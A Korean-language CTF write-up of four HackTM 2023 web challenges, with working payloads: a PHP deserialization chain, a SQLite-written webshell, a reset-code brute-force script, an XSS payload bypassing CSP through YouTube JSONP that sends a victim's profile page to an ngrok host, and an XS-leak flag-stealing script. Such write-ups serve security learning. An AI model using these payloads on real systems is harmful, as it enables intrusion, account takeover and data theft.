hacktm ctf 2023 writeup
1. [web] Blog
cookie 값을 `unserialize()` 하고 있다.
이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다.
`file_get_contents()` 함수가 `$this->picture_path` 맴버 변수 값을 통해 파일을 읽으려고 한다.
즉, `Profile` 클래스의 `picture_path` 맴버 변수를 이용하여 flag 값을 읽으면 문제를 해결할 수 있다.
O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"universe";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}
HackTM{r3t__toString_1s_s0_fun_13c573f6}
2. [web] Blog Revenge
아마 Blog 문제가 출제자의 의도와 맞지 않게 풀려서, flag 파일 위치만 바꿔 다시 출제한 것으로 판단된다.
공식 writeup이 어디에 있는지는 모르겠지만, 다른 사람들은 sqlite query문을 통해 php 파일을 만들고 RCE를 했다고 한다.
sqlite는 `ATTACH DATABASE` 라는 구문이 존재한다. 이에 대한 설명은 아래 사이트에 설명이 되어있다.
위 사이트 설명대로, 다음과 같이 query를 작성하면 DB 파일을 생성하고 연결하게 된다.
생성된 DB에 table을 만들고 php 코드를 insert하게 되면 DB 파일 생성을 통한 webshell을 만들 수 있게 된다.
$conn = new Conn;
$conn->queries = array(
new Query("ATTACH DATABASE '/var/www/html/images/.somerandomname.php' AS jctf;", array()),
new Query("CREATE TABLE jctf.pwn (dataz text);", array()),
new Query('INSERT INTO jctf.pwn (dataz) VALUES ("<?php system($_GET[0]); ?>");', array())
);
$in_user = new User("asdf");
$in_user->profile = $conn;
$profile = new Profile("asdf");
$profile->username = $in_user;
$user = new User("asdf");
$user->profile = $profile;
// User.get_profile() converts $this->profile to a string
// profile = Profile, calls Profile.__toString() which does string conversion when placing $this->username in a string
// (caveat: it has to pass db checks, which will place an empty str as the username in the sql query since the username is not a string)
// username = User, calls User.__toString() which in turn calls $this->profile()
// profile = Conn, already initialized with three queries to drop a webshell
echo base64_encode(serialize($user));
3. [web] Crocodilu
회원가입 후 로그인을 시도하면, active 상태가 아니기 때문에 로그인을 할 수 없다.
문제 코드를 보면, 회원가입을 한 사용자는 기본적으로 `active=False` 상태이기 때문이다.
`reset_code()` 함수를 사용할 때는 이메일 값을 `lower()` 하지 않고 로직을 처리하고 있다.
필자는 다음과 같이 생각했다.
대소문자를 구분하지 않는 mysql과 대소문자를 구분하는 redis 특성을 이용하여, 브포 방어 코드를 bypass 할 수 있디.
code 값은 숫자로 이뤄진 4자리이기 때문에, 다음과 같이 email 값을 길게 만들고 대문자를 하나씩 바꿔가면서 검증하는 코드를 작성했다.
import requests
EMAIL = "universeuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverseuniverse3@t.c"
URL = "http://34.141.16.87:25000"
def request_code():
res = requests.post(f"{URL}/request_code", data = {"email" : EMAIL})
print(res.text)
def reset_code():
code = 0
tmp_email = EMAIL
for i in range(len(EMAIL)):
if EMAIL[i] == "@":
break
for j in range(i, len(EMAIL)):
if EMAIL[j].isnumeric() == True:
continue
if EMAIL[j] == "@":
break
j_tmp_email = list(tmp_email)
j_tmp_email[j] = j_tmp_email[j].upper()
j_tmp_email = ''.join(j_tmp_email)
for _ in range(2):
res = requests.post(f"{URL}/reset_password", data = {"email" : j_tmp_email, "code" : str(code).rjust(4, "0"), "password": "universe"})
print(f"[!] reset_password [{str(code).rjust(4, '0')}]: {j_tmp_email}")
if res.text.find("Invalid email or code") == -1:
print(res.text)
print("[*] password change")
print(f"[*] code: {code}")
exit()
else:
code += 1
tmp_email = list(tmp_email)
tmp_email[i] = tmp_email[i].upper()
tmp_email = ''.join(tmp_email)
if __name__ == "__main__":
request_code()
reset_code()
로그인에 성공한 뒤, 게시글을 작성하여 XSS를 트리거 시켜야 한다.
하지만, 다음과 같이 iframe 태그에 정해진 youtube host와 CSP가 적용되어 있어 XSS를 트리거 시키기 어려웠다.
add_header Content-Security-Policy "default-src 'self' www.youtube.com www.google.com/recaptcha/ www.gstatic.com/recaptcha/ recaptcha.google.com/recaptcha/; object-src 'none'; base-uri 'none';";
이후 롸업을 봤는데, BeautifulSoup 모듈의 해석을 이용하는 방법과 youtube의 JSONP를 이용하여 XSS를 트리거 하는 벙법이다.
우선, BeautifulSoup 모듈에서 html 코드를 해석할 때, 주석을 포함한 script를 태그를 넣는다.
다음과 같이 주석이기 때문에 parse를 하지 않고 빈 list 를 리턴한다.
>>> BeautifulSoup("<!--><script>alert(1)</script>-->", 'html.parser').find_all()
[]
>>>
위 html 코드를 브라우저에서 확인해보면, 정상적으로 XSS가 동작하는 것을 볼 수 있다.
아마도, BeautifulSoup 모듈은 `<!-->` 를 주석으로 생각해서 parse하지 않은 것으로 판단된다.
브라우저는 `<!-->` 를 주석의 시작과 끝이라고 판단해서 `<!---->` 로 바꿔 표현한 것으로 판단된다.
두번째로, csp evaluator 사이트를 통해 위 CSP를 확인해보면, 다음과 같이 youtube 호스트에는 알려진 CSP bypass가 존재한다고 설명되어 있다.
위 게시글에는 다음과 같은 사이트에서 youtube에 사용된 callback을 찾게 되었다.
https://issuetracker.google.com/issues/35171971?pli=1
위 링크에 있는 youtube callback 링크에 요청을 다음과 같이 보내면, jsonp 에러가 발생하는 것을 볼 수 있다.
따라서 최종적인 payload는 다음과 같다.
<!--><script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>-->
4. [web] secrets
다음은 아래 롸업을 통해 재작성 되었다.
해당 문제는 XS leak 공격을 통해 접근할 수 없는 게시글의 내용(flag)을 탈취해야 한다.
이 문제의 기능 중에는 검색 기능이 있는데, 다음과 같은 조건을 만족하면 검색 목록을 보여준다.
- 검색한 내용이 게시글에 포함되어야 한다.
- 본인 게시글만 검색이 가능하다.
위 조건을 근거로, 게시글을 찾았을 때 패킷을 보면 다음과 같다.
응답 패킷을 보면, 다른 `results.wtl.pw` host로 이동되는 것을 볼 수 있다. (추가로 검색된 게시글의 idx 번호와 query도 함께 GET 방식으로 전달된다.)
반대로 검색된 게시글이 없을 경우, 다음과 같다.
원래 host에 fragment를 붙여 페이지를 이동 시키고 있다.
4-1. Unintended Solution - Chrome's 2MB URL limit
롸업 중에서, chrome의 URL 길이 제한으로 redirection 여부를 확인하는 방법을 소개하고 있다.
존재하는 게시글의 검색 내용과 fragment를 이용하여 redirection 되었을 때, 추가로 게시글 번호 idx 값이 붙는다.
이 점을 이용하여 chrome의 URL 길이 제한 에러를 판단할 수 있다.
<html>
<body>
<script>
(async() => {
let flag = "HackTM{"
const request = async(char) => {
let url = "http://secrets.wtl.pw/search?query=" + flag;
let w = window.open(url + char + "#" + "A".repeat(2 * 1024 * 1024 - url.length - 2));
setTimeout(() => {
try{
console.log(w.origin);
flag += char
fetch(`/result?flag=${flag}`);
return 0;
}
catch{
return 1;
}
}, 1000)
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789}"
const loop = async () => {
for(let len = 0; len<30; len++){
for(let c of CHARSET){
const result = await request(c);
await new Promise(resolve => setTimeout(resolve, 50))
if(result == 0){
break
}
}
}
}
loop();
})();
</script>
</body>
</html>
4-2. CSP Violation - SecurityPolicyViolationEvent
다음은 CSP Violations 중 `SecurityPolicyViolationEvent` 를 활용한 방법이다.
이 이벤트는 CSP를 위반 했을 때, 위 이벤트가 발생된다. 다음은 이에 대한 예제 코드이다.
(출처: https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
<!-- Set the Content-Security-Policy to only allow example.org -->
<meta http-equiv="Content-Security-Policy"
content="connect-src https://example.org">
<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
console.log("Detected a redirect to somewhere other than example.org");
});
// Try to fetch example.org. If it redirects to another cross-site website
// it will trigger a CSP violation event
fetch('https://example.org/might_redirect', {
mode: 'no-cors',
credentials: 'include'
});
</script>
CSP의 `connect-src` directive를 이용하여 특정 호스트만 통신하게끔 설정했다.
만약 `fetch()` 등으로 허용된 origin과 통신을 시도할 때, 다른 origin으로 redirect 될 경우 `SecurityPolicyViolationEvent` 가 트리거 된다.
CSP의 `connect-src` directive 뿐만 아니라 `form-src` directive도 마찬가지이다.
<!-- Set the Content-Security-Policy to only allow example.org -->
<meta http-equiv="Content-Security-Policy"
content="form-action https://example.org">
<form action="https://example.org/might_redirect"></form>
<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
console.log("Detected a redirect to somewhere other than example.org");
});
// Try to get example.org via a form. If it redirects to another cross-site website
// it will trigger a CSP violation event
document.forms[0].submit();
</script>
다른 사람의 롸업을 보면, 위 방법을 이용하여 redirection을 감지하고 recursive하게 동작하는 php + javascript 코드를 작성했다.
'🚩CTF' 카테고리의 다른 글
WACon2023 CTF Write up (0) | 2023.09.03 |
---|---|
lactf 2023 writeup (0) | 2023.02.14 |
Dicectf 2023 writeup (0) | 2023.02.08 |
DiceCTF 2022 writeup (0) | 2022.07.25 |
[WACon 2022] yet_another_baby_web (0) | 2022.06.28 |
댓글
이 글 공유하기
다른 글
-
WACon2023 CTF Write up
WACon2023 CTF Write up
2023.09.03 -
lactf 2023 writeup
lactf 2023 writeup
2023.02.14 -
Dicectf 2023 writeup
Dicectf 2023 writeup
2023.02.08 -
DiceCTF 2022 writeup
DiceCTF 2022 writeup
2022.07.25